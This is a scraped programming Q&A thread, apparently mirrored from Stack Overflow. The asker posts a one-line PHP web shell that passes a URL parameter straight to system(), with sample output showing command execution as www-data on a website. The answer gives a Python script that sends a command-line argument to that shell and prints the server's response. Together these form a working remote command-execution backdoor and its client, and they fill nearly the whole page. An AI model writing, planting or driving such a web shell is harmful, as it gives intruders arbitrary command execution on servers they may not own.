简体   繁体   中英

passing an argument as a command in python

I created a php file that allow me to execute commands in the url. the php file and the url in the following quotes:

<?php

system($_GET['cmd']);

?>

the url is:

www.somewebsite.com/..././command.php?cmd=id

so here I used the command "id" and the output was:

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Now, I want to write a python script that pass the command I want as an argument and return the output in the terminal instead of executing the command in the browser.

This is my code so far:

import sys
import requests
import re
import webbrowser


url = 'http://localhost/.././command.php?cmd='

def remote():
   webbrowser.open('url')




def main():


   remote()

My problem is how to pass an argument as a command? like: python do.py id

Thanks in advance.

You are probably looking for this:

import requests
import sys

url = 'http://localhost/.././command.php?cmd='
command = str(sys.argv[1])

response = requests.get(url + command)
print response.content

You might need to install the requests module. You can do that easily using pip.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM